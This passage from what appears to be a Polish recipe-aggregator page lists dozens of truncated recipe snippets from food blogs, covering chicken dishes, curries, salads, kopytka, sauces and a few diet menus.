się zarumieni, dodajemy pokrojoną w kostkę paprykę, smażymy kolejne kilka minut, do mięsa dodajemy pomidory z puszki i koncentrat pomidorowy, mieszamy, po chwili dodajemy fasolkę, całość smażymy, aż sos trochę zgęstnieje, przyprawiamy solą i pieprzem. Wierzch ciabatty odcinamy, tworząc wgłębienie w kształcie V, na ciabattę nakładamy farsz, układamy na blaszce wyłożonej papierem do pieczenie, posypujemy startym serem, zapiekamy w temp

KUCHNIA POLSKA
Kotleciki z kaszy jaglanej z wędzonym łososiem, suszonym pomidorem i natką pietruszki 195

polecam Wam pyszne kotleciki z kaszy jaglanej z suszonymi pomidorami, wędzonym łososiem i natką pietruszki. Kotleciki na pewno posmakują też dzieciom, bo moje je wcinały :-) Kotleciki można zjeść z sosem, można użyć ich jako dodatek (zamiast ziemniaków, czy kaszy) do mięsa lub tak jak my zjeść z warzywami z patelni :-) Z podanej porcji wychodzi około 14 takich kotlecików :-) Miłego dnia

kruche babeczki
Filety z kurczaka z marchewką i groszkiem 275

groszkiem i gotujemy do miękkości (przez około 8 minut). Obie mąki rozprowadzamy w śmietance, mieszamy tak długo, by nie było widocznych grudek. Wlewamy na patelnię. Gotujemy, aż do zgęstnienia sosu. Danie świetnie smakuje z ziemniakami. Kurczaka już na talerzu można dodatkowo oprószyć mieloną papryką. Źródło: Kwestia Smaku

Smaki Na Talerzu
Chińskie wegetariańskie danie 148

makaronu sojowego ( może być ryżowy ) 100 g grzybów shitake 200 g kiełków soi ( moga byc inne ) sól 150 ml bulionu drobiowego ( u mnie ekologiczny bezglutenowy ) Marynata : 3 łyżki jasnego sosu sojowego 2 łyżeczki keczupu 2 łyżeczki tabasco Przygotowanie Wymieszałem składniki marynaty. Tofu pokroiłem na duże kawałki, włożyłem do marynaty na 30 minut. Makaron zalałem wrzątkiem, moczyłem 30 minut. Pokroiłem dymkę

R'n'G Kitchen
Kurczak pieczony na ratatouille 166

estragonu 1 łyżeczka mielonej kolendry 1 łyżeczka mielonego ziela angielskiego 1 łyżeczka tabasco Sól, pieprz 1 łyżka majonezu Dodatkowo:  Bagietka Przygotowanie Kurczaka myjemy, osuszamy papierowym ręcznikiem. Przyprawy i sos łączymy ze sobą, dodajemy majonez, dokładnie obtaczamy mięso. Zostawiamy w temperaturze pokojowej, by smaki się przegryzły. Warzywa myjemy, bakłażana kroimy na plasterki. Cebule siekamy, papryki kroimy w paski. W dużym

R'n'G Kitchen
Schabowy z warzywami 206

pietruszkę. 5.Posiekać cebulę. 4. W połowie pieczenia kotlet schabowy posypać warzywami. 5. Obrać ugotowane ziemniaki, pokroić w talarki i posypać koperkiem. 6. Pokroić sałatę - można dodać gotowego sosu do sałatek lub przyrządzić z cytryną, koperkiem i pieprzem ziołowym. Smacznego

Kuchenne innowacje
Sałatka z topinamburu, ogórka, rzodkiewki i fasoli 252

obrany i pokrojony na cienkie plasterki pół dużego ogórka wężowego – pokrojonego na plasterki pęczek rzodkiewki pokrojonej na plasterki puszka czerwonej fasoli – odsączona i przepłukana wodą (żeby sos nie barwił innych warzyw) mała czerwona cebula pokrojona w krążki i posolona marynata 2 łyżki oleju rzepakowego 2 łyżki octu jabłkowego łyżka miodu pieprz szczypiorek – drobno posiekany do dekoracji pestki

Ugotowane pozamiatane
Pizza calzone z pieczarkami i tuńczykiem. 205

góry. Gotowe pizze wyłożyć na blaszkę do pieczenia wysmarowaną olejem. Wierzch pierogów tez lekko posmarować olejem. Wstawić do piekarnika nagrzanego do 230 stopni i piec 20 minut. Podałam z sosem czosnkowym

Agusiowe smakołyki
Francuskie sakiewki z kindziukiem długo wędzonym 201

kiełbasy( dowolnej nie koniecznie kindziuk ) i przykrywamy go do połowy końcem ciasta, tak jakby kołderką. Piekarnik rozgrzewamy do temperatury 200 stopni i pieczemy na złoty kolor. Podajemy z dowolnym sosem, np: czosnkowym lub ketchupem. Smacznego

Sama słodycz i szczypta chili
Pierś kurczaka duszona w pomidorach 185

kuchni. Troszkę go przerobiłam pod potrzeby moich synów, tzn. duże kawałki piersi pokroiłam w kostkę, dodałam także przecier pomidorowy – dzieciakom obiad smakował. Dla koloru na talerze prócz czerwonego sosu pomidorowego podałam zieloną fasolkę z ryżem basmati. Składniki na: Pierś kurczaka duszona w... Więcej The post Pierś kurczaka duszona w pomidorach appeared first on Magiczny Garnek

Magiczny Garnek
Marokański gulasz z resztek kurczaka 463

trudności : Łatwe Marokański gulasz to kolejny na naszym blogu przepis na wykorzystanie resztek pieczonego mięsa: z kurczaka, indyka, czy wołowiny. Pieczyste w towarzystwie pachnącego korzennymi przyprawami i Orientem zawiesistego sosu z cieciorką na nowo nabiera smaku i aromatów. Całość jest niezwykle łatwa do przygotowania i zajmuje nie więcej niż pół godziny. Przepis pochodzi z „Guardiana” , który dość często

Niedzielny kucharz
Roladki wieprzowe z awokado i mango 161

posypać kurkumą. Wstawić do piekarnika nagrzanego do 180 stopni i piec pod przykryciem około jednej godziny. Pod koniec pieczenia zdjąć przykrywkę i zrumienić. Podawać z kaszą pęcak z dowolnym sosem

Tradycyjna Kuchnia
Marchewka z groszkiem 199

Przypraw solą i pieprzem. Zmniejsz ogień i gotuj do miękkości warzyw. W szklance rozrób w niewielkiej ilości wody, mąkę. Wlej do marchewki i ciągle mieszając zagotuj. Gotuj do zagęszczenia sosu. Dopraw do smaku. Smacznego

CookYourself
Kurczak glazurowany w miodzie z kaszą jaglaną, migdałami i suszonymi pomidorami 263

sobotnią noc kończycie o 6 nad ranem, poniedziałkowe starcie z rzeczywistością będzie bolesne. Żeby zwiększyć swoje szanse, zadbajcie o dobre źródło energii. Kurczak w słodko-ostrym rozgrzewającym sosie, węglowodany z kaszy oraz magnez i witaminy z grupy B w migdałach mogą Wam trochę pomóc. Składniki: 1 podwójna pierś z kurczaka w wolnego wybiegu 4 łyżki oliwy 2 łyżki miodu gryczanego

GRUBY WAŁEK
Filet z pstrąga Yuan Yaki 240

wielu dietetyków, jako ryba nisko kaloryczna, pożywna i zawierająca wiele substancji odżywczych. Filet z pstrąga Yuan Yaki. Składniki: – filety pstrąga łososiowego Marynata – proporcje 1:1:1 – sos sojowy – mirin – sake – 1 limonka lub cytryna Dodatkowo (dekoracja): – rzodkiewki – fenkuł – świeży tymianek – płatki szalotki – natka pietruszki – chilli nitki – pieprz

mojewypiekiinietylko
KACZKA W POMARAŃCZACH 218

mięso wykładamy z piekarnika, przekładamy na talerz (przykrywamy by nie stygło), zawartość patelni przelewamy do wysokiego naczynia i blendujemy na dość gładką masę, doprawiamy do smaku i podajemy nasz sos pomarańczowy razem z kaczką i ulubionymi dodatkami, u nas domowe kluski śląskie i buraczki . Smacznego

Smaczne Zdrowe
Pieczeń z szynki 173

jednej strony, a później z drugiej strony również ok 20 minut. Mięso w tym czasie się zarumieni i przypiecze skórkę. Na ciepło pieczeń z szynki, można podawać z sosem pieczeniowym do obiadu, a po wystudzeniu jako dodatek do pieczywa. Artykuł Pieczeń z szynki pochodzi z serwisu Pomysłowa kuchnia

Pomysłowa kuchnia
Parówki w cieście francuskim 231

Układamy na blaszce wyłożonej papierem do pieczenia. Piekarnik rozgrzewamy do 200 stopni C i pieczemy około 15-20 minut, aż ciasto ładnie się zarumieni. Podajemy z keczupem, majonezem lub sosem czosnkowym, albo innym ulubionym. Smacznego 🙂 The post Parówki w cieście francuskim appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Dzik w sosie z dynią 234

jeszcze mam. Danie jest podane z najzdrowszą z kasz czyli gryczaną białą ale tutaj pełna dowolność, można podać z ryżem czy ziemniakami. Zapraszam zatem na pyszny obiad. Dzik w sosie z dynią. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
MAKARON SOBA Z WOŁOWINĄ I BROKUŁEM 255

Szybki i zdrowy obiad! Wołowina z makaronem soba, gotowanym brokułem, sosem z pieczonej dyni, z mieszanką młodych sałat, krążkami z cebuli i olejem sezamowym. Lubie takie zdrowe i kolorowe obiady, które robię w kwadrans. W zamrażalniku mam zawsze po porcjowaną upieczoną dynię, to dobry sposób na wykorzystywanie w kuchni tego warzywa cały rok. Jak upiec dynię - pisałam Wam tutaj . Polecam

SMYKWKUCHNI
Dieta przyspieszająca metabolizm - Tygodniowy jadłospis 234

szklanka ugotowanej kaszy gryczanej 1 jabłko Podwieczorek 2 kiwi Kolacja sałatka z kapusty pekińskiej, marchewki, cebuli, ogórków kiszonych, pomidorków koktajlowych i 1/2 szklanki kaszy gryczanej na 1 porcję. Sos: musztarda, ocet jabłkowy, ksylitol ŚRODA<CZWARTEK    FAZA II Śniadanie 4 plastry  filetu z indyka (120 g) posmarowane musztardą na 4 liściach sałaty rzymskiej ogórek kiszony II śniadanie

Gotuj zdrowo!Guten Appetit!
Surówka z kiszonej kapusty z granatem (dieta dr Dąbrowskiej) 225

blogu znajdziecie też inne przepisy diety dr Dąbrowskiej: leczo wegańskie wegański wywar warzywny sałatkę z kapusty pekińskiej z kiszonym ogórkiem sałatkę z cykorii z kiszonym burakiem kalafior w pikantnym sosie pomidorowym frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem sok z kiszonych buraków   zielony koktajl

Kulinarne przygody Gatity
Szynka miodowo-musztardowa 198

marynaty). Pieczemy pod przykryciem w piekarniku nagrzanym do 180 stopni przez około półtorej godziny. Po tym czasie zdejmujemy pokrywkę i dopiekamy mięso jeszcze około 15-20 minut (do zarumienienia). Sos który utworzył się w naczyniu przelewamy ostrożnie do mniejszego rondelka. Dodajemy 2-3 łyżki śmietany i podgrzewamy. W razie potrzeby zagęszczamy 1łyżką mąki rozrobioną w niewielkiej ilości zimnej wody. Ewentualnie

Smaki Na Talerzu
Delikatne kotleciki kalafiorowo-ryżowe... 148

bułce tartej i formuj nieduże kotlety. Smaż na rozgrzanym oleju, najlepiej na nierzywierajacej patelni, przez około 3-4 minuty z każdej strony - na złoty kolor. Podawaj z surówkami i sosem pomidorowym lub keczupem

Lejdi of the house
Kurczak w marynacie kokosowej... 197

Food , z której pochodzi również  kurczak w marynacie prowensalskiej . Składniki: (spokojnie na 2-3 porcje)   2 spore pojedyncze piersi z kurczaka 1/4 szklanki mleka kokosowego 1/2 łyżeczki sosu sojowego 1 łyżka brazowego cukru 1 duży zabek czosnku,  zmielony , lub drobno posiekany 1 łyżka imbiru,  zmielonego , lub posiekanego drobniutko sól, do smaku   Mięso oczyść z błonek

Lejdi of the house
Curry ciecierzycowe, z brzoskwiniami... 185

używasz) i dobrze wymieszaj. Jeśli ciecierzyca jest twardawa i nie do końca nadaje się do jedzenia od razu, wsyp ja do garnka i gotuj całość przez około 30 minut - sos powinien zgęstnieć, ale jeśli robi się za gęsty wlej 1/2 szklanki wody. Jeśli ciecierzyca jest miękka i dobrze ugotowana wystarczy dorzucić ja pod sam koniec gotowania, na ostatnie 5 minut

Lejdi of the house
Ciasto jogurtowe. Lekko razowe. Z posmakiem mango... 176

ciasta: wiórki kokosowe, groszki czekoladowe i owoce - szczególnie popularne wydaja się siekane brzoskwinie z puszki, oraz świeże gruszki. Ostatnio pojadane u nas entuzjastycznie pokrojone na plastry i polane sosem waniliowym  custard . Latem znajoma przechowywała mi dzieci przez dwie godzinki. Nie puszczę przecież towarzystwa z pustymi rękami, więc upiekłam ciasto jogurtowe i zrobiłam słoik  bananelli . Znajoma zaimprowizowała, kiedy okazało

Lejdi of the house
Kasza jęczmienna, zapiekana z pieczarkami i serem... 166

jest zawsze gotowy do użycia. Kasza gryczana i jęczmienna, podzielone na porcje i w praktycznych woreczkach, potrzebuja tylko 15 minut gotowania. A kiedy połaczy sie je z jakimś sympatycznym sosem mięsnym, czy grzybowym, nikomu nic więcej do szczęścia nie potrzeba.  Wstyd się tylko przyznać, że kompletnie nie mam pojęcia o, tak bardzo ostatnimi czasy modnej i popularnej, kaszy jaglanej

Lejdi of the house
Kokosowe curry z kurczakiem i słodkimi ziemniakami... 172

gotuj, pod przykryciem, przez 20 minut. Wsyp groszek, zagotuj całość i gotuj na małym ogniu i bez przykrycia kolejnych 10 minut, aż warzywa i soczewica będa miękkie, a sos ładnie zgęstnieje. Podawaj z chlebkami naan i ugotowanym na sypko ryżem basmati

Lejdi of the house
Ditali z łososiem, papryką, cukinią i suszonymi pomidorami... 158

odpadam. W przedbiegach. Wysiadam. Wymiękam. Nawet nie walczę. I dlatego mam cała szafkę najróżniejszych makaronów zawsze gotowych do akcji. I lodówkę z kolekcją serów, oraz zamrażarkę pełną sosów... :) Składniki: (na jakieś 3 porcje, lub 1 dorosła osoba i 3 dzieci) około 300g fileta z łososia (zwykle 2 sztuki) oliwa sok z cytryny  250g makaronu ditali 2 niewielkie, żółte papryki

Lejdi of the house
Satay curry z kalafiora i ciecierzycy... 194

wlej mleko kokosowe i 100ml wody. Dopraw do smaku, przykryj, zagotuj i gotuj na małym ogniu przez 25 minut, a następnie zdejmij pokrywkę i gotuj kolejnych 5 minut, aż sos zgęstnieje, jeśli jest taka potrzeba. Podawaj z ryżem i/lub chlebkami naan. Nadmiar można zamrozić.     Przepis z magazynu 'Good Food' na czerwiec 2015 roku: 'Satay cauliflower & chickpea curry

Lejdi of the house
Kotleciki z soczewicy... 167

pogardzę też fasolkami. A że na dodatek nie przepadam za mięsem, str ą czkowe pojawiaj ą  się na naszym stole często i gęsto. Zamaskowane na przykład w  sosach , albo  klopsikach , czy  zupach . Dzisiejsze kotleciki sprawdziły się znakomicie. Okazały się idealne nie tylko z dodatkiem sałatki, ale też jako zapełniacz do kanapek - w parze z miękkimi bułkami

Lejdi of the house
Blondasek bardzo jesienny, bo z jabłkami (gruszkami) i orzechami włoskimi... 197

Dzieci zjadły i zawołały o więcej. Nawet Daniel (13 miesięcy) skonsumował spory, napchany orzechami kawałek. Ciasto bardzo dobrze zgrałoby się na przykład z lodami waniliowymi, albo bita śmietana, czy sosem  custard . A przy okazji braku kalorycznych dodatków i w towarzystwie kubełka dobrej kawuni też będzie super...     Przepis z bloga  Dagmary . Składniki: (blaszka 20/20cm) 125 g masła

Lejdi of the house
Tosty zapiekane w piekarniku – pychotka 207

ogórki pokroić w kostkę, a pomidory w plasterki. 3. Ser zetrzeć na tarce o dużych oczkach. 4. Koncentrat, majonez i czosnek przepuszczony przez praskę dokładnie wymieszać. Tak powstałym sosem posmarować tosty wyłożone na dnie każdego naczynia. Położyć plaster szynki i posypać serem. Posypać ogórkiem i cebulą, położyć po plasterku pomidora (lub więcej, w zależności jak duże mamy pomidory). Przykryć drugą

Przepisy Babci
Puplety w sosie koperkowym 232

gorącą wodę wrzucamy pulpety oraz liść laurowy i 3 ziarenka ziela angielakiego. Gotujemy około 25 minut. Mleko mieszamy z łyżką mąki, dodajemy połowę sklanki wody z pulpetów. Zagotowujemy. Gdy sos zacznie gętnieć dodajemy szczyptę soli, pieprzu oraz koperku. Całość dodajemy do pulpetów i mieszamy

Lena Gotuje
"Lodowe" mini calzone 303

powinny wyskoczyć nam małe "lodowe" calzone. Nożem przecinamy je wzdłuż krawędzi i układamy na blaszce wyłożonej papierem do pieczenia. Pieczemy w 200 stopniach przez 10 minut. Do podania zrobiłam sos czosnkowy na bazie jogurtu greckiego i świeżego czosnku. Wioleta Gargula

MamaOskarka
Krokiety ziemniaczane ze szpinakiem 182

sycące, ziemniaczane krokiety możecie podać jako samodzielny posiłek lub z ulubionymi dodatkami - jak chociażby sadzone jajko i sos pieczarkowy - wówczas mogą pełnić funkcję lekkiego lunchu. W trakcie przygotowania nie pomijajcie czosnku - dodaje temu daniu fantastyczną, smakową nutę

Milion Smaków
Wegański wywar warzywny (dieta dr. Dąbrowskiej) 228

tutaj) .   Na blogu znajdziecie też inne przepisy diety dr Dąbrowskiej: leczo wegańskie sałatkę z kapusty pekińskiej z kiszonym ogórkiem sałatkę z cykorii z kiszonym burakiem kalafior w pikantnym sosie pomidorowym frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem sok z kiszonych buraków   zielony koktajl

Kulinarne przygody Gatity
Szybki makaron w lekkim jogurtowo-koperkowym sosie 283

Szybki makaron w lekkim jogurtowo-koperkowym sosie. Prosty, pyszny, bezmięsny obiad dla zabieganych i wielbicieli makaronu Bardzo często sięgam po makaron, gdy nie mam czasu na dłuższe stanie w kuchni. Kilka prostych składników, chwila czasu i już możemy cieszyć się pysznym, sycącym daniem. Spróbujcie. Składniki: porcja makaronu – u mnie makaron zwijka z kurkumą Makaron Babuni Eko-Mak 4 pieczarki

Słodkie okruszki
Sałatka z makaronem 244

makaronem są sycące możemy podać na obiad, kolację i zabrać w formie lunchu do pracy. Składniki Makaron calamari Łosoś wędzony na zimno Rukola Szpinak Ser biały Pomidory koktajlowe Sos Vinaigrette ziołowo- koperkowy 50mloleju rzepakowego

Kulinarne pyszności Molki
z awokado i kurczakiem czarny ryz 180

odstawić. P osiekany czosnek, sól,pieprz,sok z cytryny i cukier dokładnie wymieszać .Obrane awokado pokroić w kostkę. Na ugotowany ryż ,wyłożyć kostki awokado i wszystko polać powstałym sosem. Posypać ziarnami . W drugiej wersji z z pieczonymi kawałkami kurczaka

w mojej kuchni
FALAFEL kuleczki z ciecierzycy 191

mielimy. Z utworzonej masy formujemy kuleczki 3 centymetrowe. Kuleczki smażymy na głębokim oleju z obu stron po 3 minuty. Możemy je podawać np. z sałatą i frytkami, hummusem, sosem czosnkowym, pitą, ogórkami kiszonymi. Smacznego

Dominacja smaku
Ryż z sosem paprykowym 212

lekko zmięknie papryka, dodajemy posiekany czosnek, pokrojoną w kostkę cukinię i selera. Chwilę podsmażamy, po czym dodajemy koncentrat pomidorowy i wodę. Dusimy, gdy warzywa będą miękkie dodajemy przyprawy. 2/3 sosu mielimy blenderem. Podajemy z ugotowanym ryżem i posypujemy natką pietruszki. Autorka przepisu: Małgosia Kasperska

Dieta Rozdzielna i Zdrowie
Skąd się wziął gyros? Poznaj jego historię 293

wersji na wynos mięso znajduje się wewnątrz bułki, w lokalu zaś pita jest pokrojona na kawałki i podawana z mięsem na talerzu. W gyrosie obowiązkowym dodatkiem jest tzatziki – sos czosnkowy na bazie jogurtu ze startymi ogórkami zielonymi. W komplecie znajdziemy również sałatkę grecką z pomidorów, ogórków, papryki, oliwek i sera feta, przyprawioną oregano. Bardzo często do gyrosa serwowane są również

FoodMagazine.pl - Przepisy kulinarne
Kopytka 169

miękkości. W trakcie gotowania delikatnie przemieszać wodę drewnianą łyżką sprawdzając czy kopytka nie przykleiły się do dna. Wyławiać łyżką cedzakową i wykładać na talerze. Propozycja podania: z sosem z leśnych grzybów, na który przepis znajdziesz tutaj a jeśli chcesz zrobić kopytka we włoskim stylu, tzw gnocchi, zajrzyj tutaj Smacznego

Oka w rosole czyli KaFka gotuje
Schab z Czerwoną Fasolą 147

solą i pieprzem. 4.Cebulę obierać i pokroić w talarki. 4.W naczyniu żaroodpornym układamy kolejno: 1/2 porcji schabu, 1/2 porcji kukurydzy, 1/2 porcji fasoli, 1/2 cebuli, 1/2 sosu pomidorowego i ponownie tak samo by powstały dwie warstwy. 5.Schab pieczemy w temp. 200* około 2 godziny

Dziś Ja gotuje
Kurczak kukurydziany w sosie grzybowym 187

Twoim? Polecam zróbcie sobie takie danie a zasmakuje wszystkim. Miałam tutaj kurczaka kukurydzianego, jest bardzo aromatyczny i jednocześnie delikatny w smaku. Polecam serdecznie. Kurczak kukurydziany w sosie grzybowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Puttu z curry 165

straciłem trochę czasu dzięki pierwszej porażce. Termin curry zasadniczo się nam kojarzy z taką żółtą przyprawą. Wszystko dzięki Anglikom. Daleko na wschodzie, curry oznacza mniej więcej tyle co sos :) Zgodnie z obowiązującą w Indiach modą, jedzone w pojemniku przed komputerem w pracy :) Składniki: - ryż - wiórki kokosowe - zielona soczewica - banan - cebula - koncentrat pomidorowy - chilli - kmin rzymski Wykonanie: Ryż mieszamy z wiórkami

Kryzysowa Książka Kucharska
Omlet biszkoptowy z białek z karmelizowanymi jabłkami 174

sezonie świeżych polskich owoców na moim stole często goszczą puszyste omlety biszkoptowe. Najczęściej z malinami, jagodami czy truskawkami podane z różnymi sosami czekoladowymi. Dziś wersja odchudzona, bo ze zmniejszoną ilością mąki i bez żółtek, oraz z karmelizowanymi jabłkami. Pyszny jesienny smak

Milion Smaków
CIECIORKA Z PIEKARNIKA 209

przekładamy podpieczoną cieciorkę, dobrze mieszamy. Wysypujemy z powrotem na blachę, pieczemy jeszcze ok 15 minut. Zostawiamy na blasze aż do wystygnięcia, będzie fajnie chrupka.  Gotową podajemy z ulubionymi sosami.  *można użyć cieciorki suchej, którą należy najpierw do miękkości ugotować

Z Majeczką w kuchni
Soczyste kurczaki 257

zawsze, inaczej do piersi nie podchodzę. Jest dzięki marynowaniu bardziej soczysta, delikatna i miękka. Dziś u mnie cząstki soczyste kurczaka, które podałam z odsmażonymi na chrupko kopytkami i aromatycznym sosem pieczarkowym. Wspaniałe danie! Cząstki kurczaka pasują także do domowego hamburgera, do dipów czy posiekane drobno do ryżu i makaronów. Składniki: 2 podwójne piersi z kurczaka olej rzepakowy 2 ząbki czosnku

Zasmakuj Kuchni
Pieczone marchewki z ziarnami i fetą 213

mieszamy go w misce z łyżka octu winnego i 2 łyżeczkami oliwy. Listki mięty drobno siekamy i dorzucamy do dressingu. Doprawiamy go do smaku. Marchewki wkładamy do miski z sosem i mieszamy. Na patelnie wlewamy łyżkę oliwy i wrzucamy zawartość opakowania ze zbożami. Podgrzewamy minutę a następnie przekładamy do miski z marchewkami. Mieszamy i nakładamy na talerze. Sałatkę posypujemy ziarnami

Dzieje kuchennej Wiewióry
Jak upiec dynię? 149

polewamy miodem i pieczemy. Plastry tej wielkości pieczemy 25 minut w temp. 220 stopni C. Miąższ po wystudzeniu ściągamy łyżką, skórkę wyrzucamy. Miąższ możecie wykorzystywać w wielu daniach, zupach, sos, nadzienie do pierogów, smarowideł do chleba, ciast i innych. Pomysły na wykorzystanie miąższu z dyni znajdziesz w zakładce DYNIA

SMYKWKUCHNI
Placki 208

szybkie danie, które gościło pewnie u niejednego z Was na babcinym stole. Mnogość dodatków do nich powoduje, że każdy znajdzie coś dla siebie. Ja dziś proponuję placki z domowym sosem czosnkowo- koperkowym. 9. Fuczki czyli bieszczadzkie placki z kiszonej kapusty – przepis znajdziesz TUTAJ Zrobiłam je pierwszy raz- niebo w gębie! Polecam! Mam nadzieję, że któreś z moich przepisów trafiły

Oka w rosole czyli KaFka gotuje
Kokosowe curry z kurczakiem i orzechami 187

oleju. Dodać cebulę i delikatnie zeszklić. Dodać kurczaka, mleko kokosowe, imbir i czosnek i gotować mieszając od czasu do czasu przez ok. 10 minut, aż kurczak będzie gotowy, a sos nieco zgęstnieje. Dodać szpinak, wymieszać i podgotować przez 1-2 minuty. Kokosowe curry z kurczakiem nakładać do miseczek, np. z ryżem. Posypać posiekaną kolendrą lub pietruszką. Na koniec kokosowe curry

Pociąg Do Kuchni
Pełnoziarnisty makaron w serowym sosie z kurczakiem, brokułem i pieczarkami 240

szklankami wody, można dodać 1/2 kostki rosołowej/warzywnej. 6. W miseczce rozmieszać serek topiony z 1/2 szklanki wody. Wlać do kurczaka i nadal dusić do momentu zredukowania się sosu. 7. Doprawić solą, pieprzem. Dodać ugotowany brokuł i żółty ser. 8. Podawać z ugotowanym w osolonej wodzie pełnoziarnistym makaronem

A Ty Smakuj Mnie
Zasmażana marchewka z groszkiem / Carrots with peas 216

smaż mieszając przez około 30 sekund, do lekkiego zarumienienia. Do marchewki z groszkiem dodaj zasmażkę i cukier i gotuj przez 1-2 minuty, aż płyn zgęstnieje do konsystencji sosu. Dopraw solą i pieprzem do smaku i podawaj z ulubionym daniem głównym. Smacznego! English version Carrots with peas (4 servings) Ingredients: 4 large carrots, peeled and diced 2/3 cup of frozen

karmelowy
Mięciutkie kopytka – świetny obiad dla całej rodziny 387

się mrozić je rozłożone na papierze do pieczenia. Po zamarznięciu można je przesypać do woreczka. Kopytka doskonale smakują zarówno na słono (np. jako dodatek do gulaszu czy wołowiny w sosie koperkowym ), jak i na słodko posypane cukrem

Dieta bez mleka
BURGER Z KURCZAKIEM I SOSEM Z AWOKADO 317

Nasz burger z kurczakiem to zdrowa alternatywa dla dań typu... Artykuł BURGER Z KURCZAKIEM I SOSEM Z AWOKADO pochodzi z serwisu CookMagazine

COOKMAGAZINE
Kalafiorowo-ziemniaczana sałatka z parówkami 190

Parówki kroimy na plasterki. Rumienimy na rozgrzanej patelni, na niewielkiej ilości oleju. Majonez mieszamy ze śmietaną. Doprawiamy solą oraz pieprzem. Wszystkie składniki sałatki mieszamy ze sobą, łączymy z przygotowanym sosem. Uwagi: Marchewkę oraz ziemniaki gotowałam w tym samym dużym garnku. Należy uważać, by warzywa zbyt mocno się nie rozgotowały – nie mogą się rozpadać. Przepis pochodzi z książki: Sałatki

Smaki Na Talerzu
Zielone curry z tofu. 227

Dodać brokuła podzielonego na różyczki, groszek oraz wszystkie pozostałe składniki oprócz szpinaku. Patelnię (lub rondel) przykryć i dusić całość na małym ogniu, aż brokuły zmiękną, ale pozostaną jędrne. Spróbować sosu i ewentualnie dodać soli lub innych przypraw do smaku. Na koniec dodać szpinak i wymieszać. Podawać z ryżem

zadanie-gotowanie
Makaron z mięsem mielonym 160

smaczny domowy posiłek, na szybko, z różnymi dodatkami. Do takiego mięsa z patelni dodaję czasem tartą marchewkę lub pietruszkę. Dziś, makaron z mięsem mielonym, zielonym groszkiem i kukurydzą w sosie pomidorowym. Składniki: 400 g mięsa mielonego z indyka, może być wołowe lub wieprzowe, ew. mix połowa opakowania makaronu spaghetti szklanka passaty pomidorowej 3 ząbki czosnku mała cebula spora garść mrożonej

Zasmakuj Kuchni
Wątróbka Drobiowa Z Cebulką 196

Taką wątróbkę mój mąż lubi najbardziej i to dla niego ją przygotowuje. Ja z wątróbki lubię tylko sos, niestety ;) Składniki na 1-2 osoby: 2 cebule około 300-400 g wątróbki drobiowej 2-3 łyżki mąki pszennej sól, pieprz do smaku olej/olej smakowy do smażenia 1. Najpierw szklimy na oleju cebule pokrojoną w piórka trwa to około 10 minut

Gotowanie...to proste !
Kremowy makaron z tuńczykiem (bez śmietany) 252

szklanka wody (240 ml) 1 szklanka wywaru z warzyw (240 ml) 1/2 łyżki musztardy Dijon 1/2 łyżki soku z cytryny 1 puszka tuńczyka w kawałkach w sosie własnym (170 g) 150 g mrożonego groszku Sól i biały pieprz Przygotowanie W dużym naczyniu podgrzej oliwę z oliwek, dodaj cebulę i przeciśnięty przez praskę czosnek. Smaż przez kilka minut, ciągle mieszając. Dodaj

Powiedz dietom nie
Sałatka z cykorii z kiszonym burakiem 235

picia i zdrowe buraki do jedzenia. Na blogu znajdziecie też inne przepisy diety dr Dąbrowskiej: leczo wegańskie sałatka z kapusty pekińskiej z kiszonym ogórkiem kalafior w pikantnym sosie pomidorowym frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem sok z kiszonych buraków   zielony koktajl z kiwi

Kulinarne przygody Gatity
Makaronowa sałatka z tuńczykiem 176

ugotowany makaron. Możecie dodać do tej sałatki co lubicie. Możecie ją doprawić pod swój smak. Pełna dowolność. Przepis mam od koleżanki z pracy. Polecamy!  Składniki : * puszka tuńczyka w sosie własnym  * puszka groszku konserwowego  * puszka kukurydzy  * puszka czerwonej fasoli * 300g ugotowanego makaronu * zielony ogórek * czerwona papryka * czerwona cebula * koperek * sól, pieprz  * 3 łyżki majonezu  Przygotowanie

Magiczne Życie Marty
Spaghetti a’la Carbonara 187

przygotowany makaron. W dość szybkim czasie i z niewielkiej ilości składników możemy wyczarować pyszny obiad, który nasyci nas na długo:) Kwestią sporną w przygotowaniu tego dania jest użycie do sosu śmietany. Oryginalna carbonara bowiem jej w swym składzie nie zawiera. Ja odkąd pamiętam dodaję ją, bo taka odpowiada nam najbardziej. Czasami robię z samych jajek, czasami z 2 całych jajek

Smaki Na Talerzu
Irański płaski chleb barbari 268

jako cudzoziemcy nazywani byli przez Persów barbarzyńcami. Stąd jego nazwa barbari - chleb barbarzyńców. W Iranie jedzony jest w zasadzie ze wszystkim: mięsem, drobiem, rybą, ziołami, masłem, serem, orzechami, jogurtem, sosami, pastami itd. Przepis opracowałem na podstawie artykułu Omida zamieszczonego na stronie The Fresh Loaf Ciasto długo dojrzewające na 3 chleby barbari (3x310 g ciasta każdy ): - 550 g mąka pszenna

Przepisy na domowy ser i chleb
Dufinki ziemniaczane – super dodatek dań mięsnych 286

ręcznik papierowy, aby odciągnąć nadmiar oleju. Dufinki ziemniaczane podajemy najlepiej gorące, lub jeszcze ciepłe. Smacznego. Zapraszam również do skorzystania z innych przepisów: Cebulowe krążki – onion rings Pulpety w sosie pomidorowym Młoda kapusta zasmażana z boczkiem   Artykuł Dufinki ziemniaczane – super dodatek dań mięsnych pochodzi z serwisu Księga Smaku

Księga-Smaku
Kurczak pieczony z ananasem 177

wierzchu ułożyć kilka plasterków masła. Wstawić do piekarnika nagrzanego do 200 stopni i po 10 minutach zmniejszyć temperaturę do 140 stopni. Piec dwie godziny, w trakcie polewać wytworzonym sosem. Do brytfanki, w której piecze się kurczak włożyć resztę ananasa. Piec jeszcze pół godziny zwiększając temperaturę do 180 stopni, aby zrumienić skórkę. zastawa

królestwo garów
Zielony koktajl z kiwi i grejpfrutem 224

